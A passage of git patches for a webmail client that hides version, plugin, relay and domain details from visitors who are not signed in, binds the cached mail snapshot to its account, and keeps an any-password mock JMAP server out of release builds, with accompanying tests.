+5456,37 @@ const EMAIL_SNAPSHOT_KEY = 'email-snapshot'; // v2: unified / cross-account lists are no longer snapshotted (their rows carry // per-account source stamps that a fresh boot ignores, so a colliding JMAP id // opened the wrong account's mail - #847). Older snapshots are discarded. -const EMAIL_SNAPSHOT_VERSION = 2; +// v3: the snapshot names its account and is only restored for that account. +const EMAIL_SNAPSHOT_VERSION = 3; const EMAIL_SNAPSHOT_MAX_EMAILS = 50; +/** The signed-in session persisted by auth-store, read without importing it. */ +function persistedAuthState(): { isAuthenticated?: unknown; activeAccountId?: unknown } | null { + try { + const raw = window.localStorage.getItem('auth-storage'); + return raw ? JSON.parse(raw)?.state ?? null : null; + } catch { + return null; + } +} + if (typeof window !== 'undefined') { // Restore at module load, before the first render reads the store - and only // when the last session ended authenticated, so a logged-out visitor never - // sees cached mail. + // sees cached mail, and for the account the snapshot was taken from. try { - const authRaw = window.localStorage.getItem('auth-storage'); - const authed = authRaw ? JSON.parse(authRaw)?.state?.isAuthenticated === true : false; + const auth = persistedAuthState(); + const authed = auth?.isAuthenticated === true; const raw = authed ? window.localStorage.getItem(EMAIL_SNAPSHOT_KEY) : null; if (raw) { const snap = JSON.parse(raw); - if (snap?.v === EMAIL_SNAPSHOT_VERSION && Array.isArray(snap.mailboxes) && snap.mailboxes.length > 0) { + if ( + snap?.v === EMAIL_SNAPSHOT_VERSION && + typeof snap.account === 'string' && + snap.account === auth?.activeAccountId && + Array.isArray(snap.mailboxes) && + snap.mailboxes.length > 0 + ) { useEmailStore.setState({ mailboxes: snap.mailboxes, selectedMailbox: typeof snap.selectedMailbox === 'string' ? snap.selectedMailbox : '', @@ -5514,9 +5531,12 @@ if (typeof window !== 'undefined') { // accounts whose email ids collide; restored without its view flags it // would be read as the active account's mail. (#847) if (s.searchQuery || s.selectedKeyword || s.isScheduledView || s.viewingAccountId || s.isUnifiedView) return; + const account = persistedAuthState()?.activeAccountId; + if (typeof account !== 'string' || !account) return; try { window.localStorage.setItem(EMAIL_SNAPSHOT_KEY, JSON.stringify({ v: EMAIL_SNAPSHOT_VERSION, + account, mailboxes: s.mailboxes, selectedMailbox: s.selectedMailbox, emails: s.emails.slice(0, EMAIL_SNAPSHOT_MAX_EMAILS), From 05fe7f878004fd0ba83e50d4a8d36fd3229c5617 Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 17:03:24 +0200 Subject: [PATCH 081/358] fix: stop handing instance details to visitors who are not signed in Several endpoints answered anyone with what fingerprints a deployment: `/api/health?detailed=true` (versions, memory), the update status (exact version and the text of a pending security advisory, even with `loginShowVersion` off), `/api/plugins` (installed plugins and the hosts they may reach), the admin policy (push relays, sidebar app URLs, plugin lists) and `/api/config` (every domain each server serves). Visitors without a session now get: - the plain liveness answer from `/api/health`; - the update status only where the login page shows the version, and never the advisory text; - a 401 from `/api/plugins`, which the client only syncs after signing in; - the policy without plugin lists, push relays and sidebar apps, marked `X-Bulwark-Policy-Scope: public`; the client fetches the full policy once it signs in; - server domain lists only when servers are picked by domain. A mailbox session, a remembered session cookie or the admin session counts as signed in. Deployments without a session secret cannot tell sessions apart and keep the old answers. --- app/api/admin/policy/route.ts | 25 +++- app/api/config/route.ts | 8 +- app/api/health/route.ts | 7 +- app/api/plugins/route.ts | 12 +- app/api/system/update-status/route.ts | 18 ++- lib/__tests__/config-route.test.ts | 10 ++ lib/__tests__/instance-details-gates.test.ts | 110 ++++++++++++++++++ lib/__tests__/instance-details.test.ts | 56 +++++++++ lib/admin/types.ts | 3 + lib/auth/instance-details.ts | 33 ++++++ stores/__tests__/policy-store-partial.test.ts | 52 +++++++++ stores/auth-store.ts | 7 ++ stores/policy-store.ts | 27 ++++- 13 files changed, 352 insertions(+), 16 deletions(-) create mode 100644 lib/__tests__/instance-details-gates.test.ts create mode 100644 lib/__tests__/instance-details.test.ts create mode 100644 lib/auth/instance-details.ts create mode 100644 stores/__tests__/policy-store-partial.test.ts diff --git a/app/api/admin/policy/route.ts b/app/api/admin/policy/route.ts index a858cf79d..56b3b8910 100644 --- a/app/api/admin/policy/route.ts +++ b/app/api/admin/policy/route.ts @@ -3,15 +3,34 @@ import { configManager } from '@/lib/admin/config-manager'; import { requireAdminAuth, getClientIP } from '@/lib/admin/session'; import { auditLog } from '@/lib/admin/audit'; import { logger } from '@/lib/logger'; -import type { SettingsPolicy } from '@/lib/admin/types'; +import { POLICY_SCOPE_HEADER, type SettingsPolicy } from '@/lib/admin/types'; +import { canSeeInstanceDetails } from '@/lib/auth/instance-details'; /** - * GET /api/admin/policy - Get settings policy (NOT admin-protected - users read this) + * GET /api/admin/policy - Get settings policy (NOT admin-protected - users read this; + * visitors who are not signed in get the subset the login page needs) */ -export async function GET() { +export async function GET(request: NextRequest) { try { await configManager.ensureLoaded(); const policy = configManager.getPolicy(); + if (!(await canSeeInstanceDetails(request))) { + // The login page needs the theme policy and gates; the plugin lists, + // push relays and sidebar app URLs map the deployment and are only + // used after signing in, when the client fetches the policy again. + return NextResponse.json( + { + ...policy, + forceEnabledPlugins: [], + approvedPlugins: [], + pushRelays: [], + pushRelayUrl: '', + pushRelayUrlLocked: false, + defaultSidebarApps: [], + }, + { headers: { 'Cache-Control': 'no-store', [POLICY_SCOPE_HEADER]: 'public' } }, + ); + } return NextResponse.json(policy, { headers: { 'Cache-Control': 'no-store' }, }); diff --git a/app/api/config/route.ts b/app/api/config/route.ts index 604e7a5c6..f92f07507 100644 --- a/app/api/config/route.ts +++ b/app/api/config/route.ts @@ -53,6 +53,7 @@ export async function GET(request: NextRequest) { const stalwartJmapPassthroughEnabled = stalwartFeaturesEnabled && configManager.get('stalwartJmapPassthroughEnabled', true); const allowedFrameAncestors = configManager.get('allowedFrameAncestors', ''); + const autoPickByDomain = configManager.get('jmapServerAutoPickByDomain', false); return NextResponse.json( { @@ -85,8 +86,11 @@ export async function GET(request: NextRequest) { loginShowVersion: configManager.get('loginShowVersion', true), demoMode: configManager.get('demoMode', false), allowCustomJmapEndpoint: configManager.get('allowCustomJmapEndpoint', false), - jmapServers: redactJmapServers(parseJmapServers(configManager.get('jmapServers', []))), - jmapServerAutoPickByDomain: configManager.get('jmapServerAutoPickByDomain', false), + // The domain lists name every organisation served here; the login page + // only needs them to pick the server by the typed address. + jmapServers: redactJmapServers(parseJmapServers(configManager.get('jmapServers', []))) + .map((server) => (autoPickByDomain ? server : { ...server, domains: [] })), + jmapServerAutoPickByDomain: autoPickByDomain, autoSsoEnabled: configManager.get('autoSsoEnabled', false), embeddedMode: !!allowedFrameAncestors && allowedFrameAncestors !== "'none'", parentOrigin: configManager.get('parentOrigin', ''), diff --git a/app/api/health/route.ts b/app/api/health/route.ts index b7b1c52d1..0498ec818 100644 --- a/app/api/health/route.ts +++ b/app/api/health/route.ts @@ -2,6 +2,7 @@ import v8 from 'node:v8'; import { NextResponse } from 'next/server'; import { NextRequest } from 'next/server'; import { logger } from '@/lib/logger'; +import { canSeeInstanceDetails } from '@/lib/auth/instance-details'; const MEMORY_WARNING_THRESHOLD = 0.85; const MEMORY_CRITICAL_THRESHOLD = 0.95; @@ -40,12 +41,14 @@ interface HealthStatus { * Health check endpoint for container orchestration * * GET /api/health - Liveness probe for container orchestration - * GET /api/health?detailed=true - Diagnostics with advisory memory warnings + * GET /api/health?detailed=true - Diagnostics with advisory memory warnings, + * for signed-in users and admins (versions and memory fingerprint the + * instance); anyone else gets the plain liveness answer * HEAD /api/health - Lightweight liveness probe (status code only) */ export async function GET(request: NextRequest) { const searchParams = request.nextUrl.searchParams; - const detailed = searchParams.get('detailed') === 'true'; + const detailed = searchParams.get('detailed') === 'true' && await canSeeInstanceDetails(request); try { const timestamp = new Date().toISOString(); diff --git a/app/api/plugins/route.ts b/app/api/plugins/route.ts index 3cb3a63fc..8332d1da9 100644 --- a/app/api/plugins/route.ts +++ b/app/api/plugins/route.ts @@ -1,4 +1,5 @@ -import { NextResponse } from 'next/server'; +import { NextRequest, NextResponse } from 'next/server'; +import { canSeeInstanceDetails } from '@/lib/auth/instance-details'; import { getPluginRegistry, getThemeRegistry } from '@/lib/admin/plugin-registry'; import { listDevPlugins } from '@/lib/admin/plugin-dev'; import { configManager } from '@/lib/admin/config-manager'; @@ -8,9 +9,14 @@ import { logger } from '@/lib/logger'; * GET /api/plugins - Public endpoint for clients to discover server-managed plugins & themes * * Returns all enabled plugins and themes so the client can sync them to IndexedDB. - * No admin auth required - this is how regular users receive plugins/themes. + * No admin auth required - this is how regular users receive plugins/themes - + * but a session is: the list names the plugins and the hosts they may reach, + * and the client only syncs after signing in. */ -export async function GET() { +export async function GET(request: NextRequest) { + if (!(await canSeeInstanceDetails(request))) { + return NextResponse.json({ error: 'Not authenticated' }, { status: 401 }); + } try { await configManager.ensureLoaded(); const policy = configManager.getPolicy(); diff --git a/app/api/system/update-status/route.ts b/app/api/system/update-status/route.ts index ca2de80e1..a55c17d7a 100644 --- a/app/api/system/update-status/route.ts +++ b/app/api/system/update-status/route.ts @@ -1,5 +1,7 @@ -import { NextResponse } from 'next/server'; +import { NextRequest, NextResponse } from 'next/server'; import { checkOnce, freshStatus, loadState } from '@/lib/version-check'; +import { configManager } from '@/lib/admin/config-manager'; +import { canSeeInstanceDetails } from '@/lib/auth/instance-details'; // Public endpoint that returns the latest cached update status. Fed by the // background scheduler started in instrumentation.node.ts; in production we @@ -10,7 +12,7 @@ import { checkOnce, freshStatus, loadState } from '@/lib/version-check'; // version server's overrides take effect on the next page reload instead of // requiring a dev-server restart. The 5s upstream timeout in fetchStatus // caps the worst-case latency added to a dev reload. -export async function GET() { +export async function GET(request: NextRequest) { if (process.env.NODE_ENV === 'development') { await checkOnce({ reason: 'dev-reload' }); } @@ -18,9 +20,19 @@ export async function GET() { const state = await loadState(); // freshStatus drops a status persisted by an earlier build - after an // upgrade it would still advertise the version we just upgraded from (#913). + let status = freshStatus(state); + + // Visitors who are not signed in see the version only where the login + // page shows it (loginShowVersion), and never the advisory text: a + // pending security update tells an attacker which hole is still open. + if (status && !(await canSeeInstanceDetails(request))) { + await configManager.ensureLoaded(); + status = configManager.get('loginShowVersion', true) ? { ...status, advisory: null } : null; + } + return NextResponse.json( { - status: freshStatus(state), + status, lastCheckedAt: state.lastCheckedAt, lastSuccessAt: state.lastSuccessAt, }, diff --git a/lib/__tests__/config-route.test.ts b/lib/__tests__/config-route.test.ts index f2315e88f..9d4cb48b3 100644 --- a/lib/__tests__/config-route.test.ts +++ b/lib/__tests__/config-route.test.ts @@ -30,6 +30,7 @@ const MANAGED_ENV = [ 'SESSION_SECRET_FILE', 'SETTINGS_SYNC_ENABLED', 'STALWART_FEATURES', 'DEV_MOCK_JMAP', 'FAVICON_URL', 'APP_LOGO_LIGHT_URL', 'APP_LOGO_DARK_URL', 'LOGIN_COMPANY_NAME', 'LOGIN_IMPRINT_URL', 'LOGIN_PRIVACY_POLICY_URL', 'LOGIN_WEBSITE_URL', 'DOMAIN_BRANDING', + 'JMAP_SERVERS', 'JMAP_SERVER_AUTO_PICK_BY_DOMAIN', ] as const; describe('config API route', () => { @@ -94,6 +95,15 @@ describe('config API route', () => { expect(config.appLogoDarkUrl).toBe(''); }); + // The domain lists name every organisation served by this instance. + it('lists the domains of each server only when the login page picks servers by domain', async () => { + vi.stubEnv('JMAP_SERVERS', JSON.stringify([{ id: 'a', label: 'A', url: 'https://a.example', domains: ['acme.example'] }])); + expect((await getConfig()).jmapServers[0].domains).toEqual([]); + + vi.stubEnv('JMAP_SERVER_AUTO_PICK_BY_DOMAIN', 'true'); + expect((await getConfig()).jmapServers[0].domains).toEqual(['acme.example']); + }); + it('should use runtime env vars over defaults', async () => { vi.stubEnv('APP_NAME', 'My Mail'); vi.stubEnv('JMAP_SERVER_URL', 'https://mail.example.com'); diff --git a/lib/__tests__/instance-details-gates.test.ts b/lib/__tests__/instance-details-gates.test.ts new file mode 100644 index 000000000..d40383c2d --- /dev/null +++ b/lib/__tests__/instance-details-gates.test.ts @@ -0,0 +1,110 @@ +// @vitest-environment node +import { beforeEach, describe, expect, it, vi } from 'vitest'; +import { NextRequest } from 'next/server'; + +// Endpoints answering anyone used to hand out what fingerprints an instance: +// exact versions and pending advisories, memory figures, the installed +// plugins and the hosts they reach, push relays, sidebar app URLs and every +// served domain. + +const gate = vi.hoisted(() => ({ signedIn: false })); +vi.mock('@/lib/auth/instance-details', () => ({ + canSeeInstanceDetails: async () => gate.signedIn, +})); + +const config = vi.hoisted(() => ({ values: {} as Record })); +const POLICY = { + restrictions: {}, + features: {}, + defaults: {}, + themePolicy: { allowUserThemes: true }, + forceEnabledPlugins: ['bulwark-gpg'], + approvedPlugins: ['quick-notes'], + forceEnabledThemes: [], + pushRelays: [{ label: 'Internal', url: 'https://relay.corp.example' }], + pushRelayUrl: 'https://relay.corp.example', + pushRelayUrlLocked: true, + defaultSidebarApps: [{ id: 'wiki', name: 'Wiki', url: 'https://wiki.corp.example' }], +}; +vi.mock('@/lib/admin/config-manager', () => ({ + configManager: { + ensureLoaded: async () => {}, + get: (key: string, fallback: unknown) => (key in config.values ? config.values[key] : fallback), + getPolicy: () => POLICY, + }, +})); +vi.mock('@/lib/logger', () => ({ logger: { error: vi.fn(), warn: vi.fn(), info: vi.fn(), debug: vi.fn() } })); +vi.mock('@/lib/admin/session', () => ({ requireAdminAuth: vi.fn(), getClientIP: () => '0.0.0.0' })); +vi.mock('@/lib/admin/audit', () => ({ auditLog: vi.fn() })); + +const STATUS = { + schema: 1, current: '1.9.0', latest: '1.9.2', updateAvailable: true, severity: 'security', + url: 'https://example.org/release', advisory: 'Stored XSS in the reader, fixed in 1.9.2', checkedAt: '2026-09-26T00:00:00Z', +}; +vi.mock('@/lib/version-check', () => ({ + checkOnce: vi.fn(), + loadState: async () => ({ status: STATUS, lastCheckedAt: null, lastSuccessAt: null }), + freshStatus: (state: { status: unknown }) => state.status, +})); +vi.mock('@/lib/admin/plugin-registry', () => ({ + getPluginRegistry: async () => ({ plugins: [] }), + getThemeRegistry: async () => ({ themes: [] }), +})); +vi.mock('@/lib/admin/plugin-dev', () => ({ listDevPlugins: async () => [] })); + +import { GET as health } from '@/app/api/health/route'; +import { GET as updateStatus } from '@/app/api/system/update-status/route'; +import { GET as plugins } from '@/app/api/plugins/route'; +import { GET as policy } from '@/app/api/admin/policy/route'; + +const req = (path: string) => new NextRequest(`https://mail.example${path}`); + +beforeEach(() => { + gate.signedIn = false; + config.values = {}; +}); + +describe('endpoints for visitors who are not signed in', () => { + it('health answers the liveness probe but no diagnostics', async () => { + const body = await (await health(req('/api/health?detailed=true'))).json(); + expect(body.status).toBe('healthy'); + expect(body).not.toHaveProperty('version'); + expect(body).not.toHaveProperty('memory'); + expect(body).not.toHaveProperty('nodeVersion'); + + gate.signedIn = true; + expect(await (await health(req('/api/health?detailed=true'))).json()).toHaveProperty('memory'); + }); + + it('update status follows loginShowVersion and never carries the advisory text', async () => { + const shown = await (await updateStatus(req('/api/system/update-status'))).json(); + expect(shown.status).toMatchObject({ current: '1.9.0', severity: 'security', advisory: null }); + + config.values.loginShowVersion = false; + expect((await (await updateStatus(req('/api/system/update-status'))).json()).status).toBeNull(); + + gate.signedIn = true; + expect((await (await updateStatus(req('/api/system/update-status'))).json()).status).toEqual(STATUS); + }); + + it('the plugin list needs a session', async () => { + expect((await plugins(req('/api/plugins'))).status).toBe(401); + gate.signedIn = true; + expect((await plugins(req('/api/plugins'))).status).toBe(200); + }); + + it('the policy keeps what the login page needs and drops the deployment map', async () => { + const res = await policy(req('/api/admin/policy')); + expect(res.headers.get('x-bulwark-policy-scope')).toBe('public'); + const body = await res.json(); + expect(body.themePolicy).toEqual(POLICY.themePolicy); + expect(body).toMatchObject({ + forceEnabledPlugins: [], approvedPlugins: [], pushRelays: [], pushRelayUrl: '', defaultSidebarApps: [], + }); + + gate.signedIn = true; + const full = await policy(req('/api/admin/policy')); + expect(full.headers.get('x-bulwark-policy-scope')).toBeNull(); + expect(await full.json()).toEqual(POLICY); + }); +}); diff --git a/lib/__tests__/instance-details.test.ts b/lib/__tests__/instance-details.test.ts new file mode 100644 index 000000000..a360c3eb7 --- /dev/null +++ b/lib/__tests__/instance-details.test.ts @@ -0,0 +1,56 @@ +// @vitest-environment node +import { beforeEach, describe, expect, it, vi } from 'vitest'; +import { NextRequest } from 'next/server'; + +const state = vi.hoisted(() => ({ + secret: true, + context: false, + jar: new Map(), +})); + +vi.mock('@/lib/auth/session-secret', () => ({ hasSessionSecret: () => state.secret })); +vi.mock('@/lib/stalwart/credentials', () => ({ + getStalwartCredentials: async () => (state.context ? { serverUrl: 'https://mail.example' } : null), +})); +vi.mock('next/headers', () => ({ + cookies: async () => ({ get: (name: string) => (state.jar.has(name) ? { value: state.jar.get(name) } : undefined) }), +})); +vi.mock('@/lib/auth/crypto', () => ({ decryptSession: (token: string) => (token === 'valid' ? {} : null) })); +vi.mock('@/lib/admin/session', () => ({ verifyAdminSession: (token: string) => (token === 'admin' ? {} : null) })); + +import { canSeeInstanceDetails } from '@/lib/auth/instance-details'; + +const request = new NextRequest('https://mail.example/api/plugins'); + +beforeEach(() => { + state.secret = true; + state.context = false; + state.jar.clear(); +}); + +describe('canSeeInstanceDetails', () => { + it('refuses a visitor without a session', async () => { + expect(await canSeeInstanceDetails(request)).toBe(false); + state.jar.set('jmap_session', 'forged'); + state.jar.set('admin_session', 'forged'); + expect(await canSeeInstanceDetails(request)).toBe(false); + }); + + it('accepts a mailbox session, a remembered session cookie or the admin', async () => { + state.context = true; + expect(await canSeeInstanceDetails(request)).toBe(true); + + state.context = false; + state.jar.set('jmap_session_2', 'valid'); + expect(await canSeeInstanceDetails(request)).toBe(true); + + state.jar.clear(); + state.jar.set('admin_session', 'admin'); + expect(await canSeeInstanceDetails(request)).toBe(true); + }); + + it('keeps answering everyone where no session secret exists to tell sessions apart', async () => { + state.secret = false; + expect(await canSeeInstanceDetails(request)).toBe(true); + }); +}); diff --git a/lib/admin/types.ts b/lib/admin/types.ts index 0799db914..bb4c95200 100644 --- a/lib/admin/types.ts +++ b/lib/admin/types.ts @@ -163,6 +163,9 @@ export interface SettingsPolicy { defaultSidebarApps?: AdminSidebarApp[]; } +/** Set to `public` on a policy answered with the pre-login subset. */ +export const POLICY_SCOPE_HEADER = 'X-Bulwark-Policy-Scope'; + export const DEFAULT_POLICY: SettingsPolicy = { restrictions: {}, features: { ...DEFAULT_FEATURE_GATES }, diff --git a/lib/auth/instance-details.ts b/lib/auth/instance-details.ts new file mode 100644 index 000000000..e5e3f47d0 --- /dev/null +++ b/lib/auth/instance-details.ts @@ -0,0 +1,33 @@ +import { cookies } from 'next/headers'; +import type { NextRequest } from 'next/server'; +import { MAX_ACCOUNT_SLOTS } from '@/lib/account-utils'; +import { decryptSession } from '@/lib/auth/crypto'; +import { hasSessionSecret } from '@/lib/auth/session-secret'; +import { sessionCookieName } from '@/lib/auth/session-cookie'; +import { verifyAdminSession } from '@/lib/admin/session'; +import { ADMIN_SESSION_COOKIE } from '@/lib/admin/types'; +import { getStalwartCredentials } from '@/lib/stalwart/credentials'; + +/** + * Whether a request may see details that fingerprint this instance: exact + * versions, pending security advisories, installed plugins and the hosts + * they talk to, push relays, sidebar app URLs, memory figures. + * + * Yes for anyone signed in here - a mailbox session (the per-slot auth + * context, or the remembered session cookie before the context is restored + * on a new browser session) or the admin dashboard. Without a session + * secret no session can be told apart server-side, so those deployments + * keep answering everyone as before. + */ +export async function canSeeInstanceDetails(request: NextRequest): Promise { + if (!hasSessionSecret()) return true; + if (await getStalwartCredentials(request)) return true; + + const jar = await cookies(); + for (let slot = 0; slot < MAX_ACCOUNT_SLOTS; slot++) { + const session = jar.get(sessionCookieName(slot))?.value; + if (session && decryptSession(session)) return true; + } + const admin = jar.get(ADMIN_SESSION_COOKIE)?.value; + return !!admin && verifyAdminSession(admin) !== null; +} diff --git a/stores/__tests__/policy-store-partial.test.ts b/stores/__tests__/policy-store-partial.test.ts new file mode 100644 index 000000000..bf40f6ac9 --- /dev/null +++ b/stores/__tests__/policy-store-partial.test.ts @@ -0,0 +1,52 @@ +import { beforeEach, describe, expect, it, vi } from 'vitest'; + +// Before signing in the server answers with the public part of the policy; +// the store has to fetch the rest once a session exists. + +const fetchMock = vi.hoisted(() => vi.fn()); +vi.mock('@/lib/browser-navigation', () => ({ apiFetch: fetchMock })); + +import { usePolicyStore } from '@/stores/policy-store'; +import { DEFAULT_POLICY } from '@/lib/admin/types'; + +function answer(policy: object, scope?: string) { + return new Response(JSON.stringify(policy), { + headers: scope ? { 'X-Bulwark-Policy-Scope': scope } : {}, + }); +} + +beforeEach(() => { + fetchMock.mockReset(); + usePolicyStore.setState({ policy: { ...DEFAULT_POLICY }, loaded: false, partial: false }); +}); + +describe('policy store', () => { + it('fetches the full policy after signing in when only the public part was loaded', async () => { + fetchMock.mockResolvedValueOnce(answer({ ...DEFAULT_POLICY }, 'public')); + await usePolicyStore.getState().fetchPolicy(); + expect(usePolicyStore.getState().partial).toBe(true); + + const apps = [{ id: 'wiki', name: 'Wiki', url: 'https://wiki.example' }]; + fetchMock.mockResolvedValueOnce(answer({ ...DEFAULT_POLICY, defaultSidebarApps: apps })); + await usePolicyStore.getState().refreshIfPartial(); + expect(usePolicyStore.getState().partial).toBe(false); + expect(usePolicyStore.getState().policy.defaultSidebarApps).toEqual(apps); + + await usePolicyStore.getState().refreshIfPartial(); + expect(fetchMock).toHaveBeenCalledTimes(2); + }); + + it('lets the later fetch win when the public answer arrives last', async () => { + let releasePublic!: (r: Response) => void; + fetchMock.mockImplementationOnce(() => new Promise((resolve) => { releasePublic = resolve; })); + const early = usePolicyStore.getState().fetchPolicy(); + + fetchMock.mockResolvedValueOnce(answer({ ...DEFAULT_POLICY, approvedPlugins: ['quick-notes'] })); + await usePolicyStore.getState().refreshIfPartial(); + + releasePublic(answer({ ...DEFAULT_POLICY }, 'public')); + await early; + expect(usePolicyStore.getState().partial).toBe(false); + expect(usePolicyStore.getState().policy.approvedPlugins).toEqual(['quick-notes']); + }); +}); diff --git a/stores/auth-store.ts b/stores/auth-store.ts index 6dbec0003..7b83b6be8 100644 --- a/stores/auth-store.ts +++ b/stores/auth-store.ts @@ -22,6 +22,7 @@ import { clearAllPluginStorage, clearPluginStorageForAccount } from '@/lib/plugi import { broadcastSignOut, onSignedOutElsewhere, purgeSignedOutData } from '@/lib/sign-out-cleanup'; import { useSearchHistoryStore } from './search-history-store'; import { useCalendarNotificationStore } from './calendar-notification-store'; +import { usePolicyStore } from './policy-store'; import type { Identity } from '@/lib/jmap/types'; import { authHooks } from '@/lib/plugin-hooks'; import { IS_LITE, IS_LITE_STALWART } from '@/lib/lite'; @@ -2815,6 +2816,12 @@ export const useAuthStore = create()( // shared registry - see [[stores/client-registry]] for rationale. setClientLookup((accountId) => useAuthStore.getState().getClientForAccount(accountId)); +// Before signing in, the server only hands out the public part of the admin +// policy; fetch the rest once a session exists. +useAuthStore.subscribe((state, prev) => { + if (state.isAuthenticated && !prev.isAuthenticated) void usePolicyStore.getState().refreshIfPartial(); +}); + // Another tab signed everyone out: this one's cookies and account list are // gone too, so leave for the login page instead of showing stale mail. if (typeof window !== 'undefined') { diff --git a/stores/policy-store.ts b/stores/policy-store.ts index 7762e0351..146fd6719 100644 --- a/stores/policy-store.ts +++ b/stores/policy-store.ts @@ -1,6 +1,6 @@ import { create } from 'zustand'; import type { SettingsPolicy, FeatureGates, SettingRestriction, ThemePolicy } from '@/lib/admin/types'; -import { DEFAULT_POLICY, DEFAULT_THEME_POLICY } from '@/lib/admin/types'; +import { DEFAULT_POLICY, DEFAULT_THEME_POLICY, POLICY_SCOPE_HEADER } from '@/lib/admin/types'; import { apiFetch } from '@/lib/browser-navigation'; import { IS_LITE, IS_LITE_STALWART, LITE_POLICY_PATH, withLiteBuildId } from '@/lib/lite'; import { applyLitePolicy } from '@/lib/lite-config'; @@ -8,7 +8,14 @@ import { applyLitePolicy } from '@/lib/lite-config'; interface PolicyState { policy: SettingsPolicy; loaded: boolean; + /** + * The server answered with the public subset (not signed in yet); the + * full policy is fetched again once a session exists. + */ + partial: boolean; fetchPolicy: () => Promise; + /** Fetch the full policy if only the public subset is loaded. */ + refreshIfPartial: () => Promise; isSettingLocked: (key: string) => boolean; isSettingHidden: (key: string) => boolean; isFeatureEnabled: (feature: keyof FeatureGates) => boolean; @@ -22,11 +29,17 @@ interface PolicyState { isThemeForceEnabled: (themeId: string) => boolean; } +let policyRequest = 0; + export const usePolicyStore = create()((set, get) => ({ policy: { ...DEFAULT_POLICY }, loaded: false, + partial: false, fetchPolicy: async () => { + // A fetch started before signing in may answer after the one started + // after it; only the latest may land. + const request = ++policyRequest; // Static Lite build: an optional policy.json next to index.html stands in // for the admin server; missing means defaults, and the gates that need // the server stay pinned off either way (lib/lite-config.ts). @@ -36,17 +49,25 @@ export const usePolicyStore = create()((set, get) => ({ const res = IS_LITE_STALWART ? await apiFetch(withLiteBuildId(LITE_POLICY_PATH)) : await apiFetch(IS_LITE ? LITE_POLICY_PATH : '/api/admin/policy', IS_LITE ? { cache: 'no-store' } : undefined); + if (request !== policyRequest) return; if (res.ok) { const data = await res.json(); - set({ policy: IS_LITE ? applyLitePolicy(data) : data, loaded: true }); + if (request !== policyRequest) return; + const partial = res.headers?.get?.(POLICY_SCOPE_HEADER) === 'public'; + set({ policy: IS_LITE ? applyLitePolicy(data) : data, loaded: true, partial }); } else { set({ ...fallback, loaded: true }); } } catch { - set({ ...fallback, loaded: true }); + if (request === policyRequest) set({ ...fallback, loaded: true }); } }, + refreshIfPartial: async () => { + if (IS_LITE || (get().loaded && !get().partial)) return; + await get().fetchPolicy(); + }, + isSettingLocked: (key) => { const r = get().policy.restrictions[key]; return r?.locked === true; From c329d486a7d65da5d52d06276c218f5ada17d802 Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 17:07:31 +0200 Subject: [PATCH 082/358] fix: keep the mock JMAP server out of release builds The mock JMAP server behind `/api/dev-jmap` accepts any password and shipped in every image, held back only by `DEV_MOCK_JMAP=true` at runtime. It now also needs the flag at build time (inlined through `next.config.ts`), so a build made without it cannot switch the mock on, and the Docker image drops the route before building. --- Dockerfile | 4 +++- app/api/dev-jmap/[...path]/route.ts | 6 +++++- lib/__tests__/dev-jmap-mock.test.ts | 20 ++++++++++++++++++++ 3 files changed, 28 insertions(+), 2 deletions(-) diff --git a/Dockerfile b/Dockerfile index cd12db324..b36abc8fd 100644 --- a/Dockerfile +++ b/Dockerfile @@ -21,7 +21,9 @@ ENV NEXT_PUBLIC_DEFAULT_LOCALE=$NEXT_PUBLIC_DEFAULT_LOCALE # `git rev-parse` inside the build can't find it - CI must pass it in. ARG GIT_COMMIT=unknown ENV GIT_COMMIT=$GIT_COMMIT -RUN npx next build --webpack +# The mock JMAP server (DEV_MOCK_JMAP) accepts any password and is for +# `npm run dev` only; images ship without it. +RUN rm -rf "app/api/dev-jmap" && npx next build --webpack FROM node:24-alpine AS runner diff --git a/app/api/dev-jmap/[...path]/route.ts b/app/api/dev-jmap/[...path]/route.ts index d0319c2b9..00b2c1572 100644 --- a/app/api/dev-jmap/[...path]/route.ts +++ b/app/api/dev-jmap/[...path]/route.ts @@ -2471,7 +2471,11 @@ function tooLargeFor(method: string, args: MethodArgs, callId: string): MethodRe // --------------------------------------------------------------------------- function isDevMockEnabled(): boolean { - return process.env.DEV_MOCK_JMAP === 'true'; + // NEXT_PUBLIC_DEV_MOCK_JMAP is inlined at build time from DEV_MOCK_JMAP + // (next.config.ts `env`), so a build made without the mock - every + // release image and tarball - cannot switch it on through the runtime + // environment: the mock accepts any password. + return process.env.NEXT_PUBLIC_DEV_MOCK_JMAP === 'true' && process.env.DEV_MOCK_JMAP === 'true'; } function getBaseUrl(request: NextRequest): string { diff --git a/lib/__tests__/dev-jmap-mock.test.ts b/lib/__tests__/dev-jmap-mock.test.ts index 9623fee76..e3fc2d19f 100644 --- a/lib/__tests__/dev-jmap-mock.test.ts +++ b/lib/__tests__/dev-jmap-mock.test.ts @@ -3,6 +3,8 @@ import { describe, it, expect, beforeAll, vi } from 'vitest'; // Mock the environment variable beforeAll(() => { vi.stubEnv('DEV_MOCK_JMAP', 'true'); + // Inlined from DEV_MOCK_JMAP at build time in a real build. + vi.stubEnv('NEXT_PUBLIC_DEV_MOCK_JMAP', 'true'); }); // We test via dynamic import to get a fresh module with env set @@ -369,3 +371,21 @@ describe('dev-jmap mock server', () => { }); }); }); + +// The mock accepts any password; a build made without DEV_MOCK_JMAP (every +// release image) must not be able to switch it on at runtime. +describe('dev-jmap mock in a build made without it', () => { + it('stays off even when DEV_MOCK_JMAP is set at runtime', async () => { + vi.stubEnv('NEXT_PUBLIC_DEV_MOCK_JMAP', ''); + try { + const { GET } = await loadRoute(); + const req = makeRequest('http://localhost:3000/api/dev-jmap/.well-known/jmap', { + headers: { host: 'localhost:3000' }, + }); + const res = await GET(req as never, { params: Promise.resolve({ path: ['.well-known', 'jmap'] }) }); + expect(res.status).toBe(404); + } finally { + vi.stubEnv('NEXT_PUBLIC_DEV_MOCK_JMAP', 'true'); + } + }); +}); From d155cead41befe3bbcc5107eda0f95d2c6291efd Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 17:13:59 +0200 Subject: [PATCH 083/358] fix: revoke Lite refresh tokens on sign-out and keep no failed-login password Signing out of Lite only deleted the refresh token from web storage, so a copy taken from the browser kept working until it expired. Sign-out now revokes it at the endpoint the mail server (or, for an external provider, its discovery document) advertises, once the token is gone from storage. A password login whose token exchange failed for any reason fell back to Basic 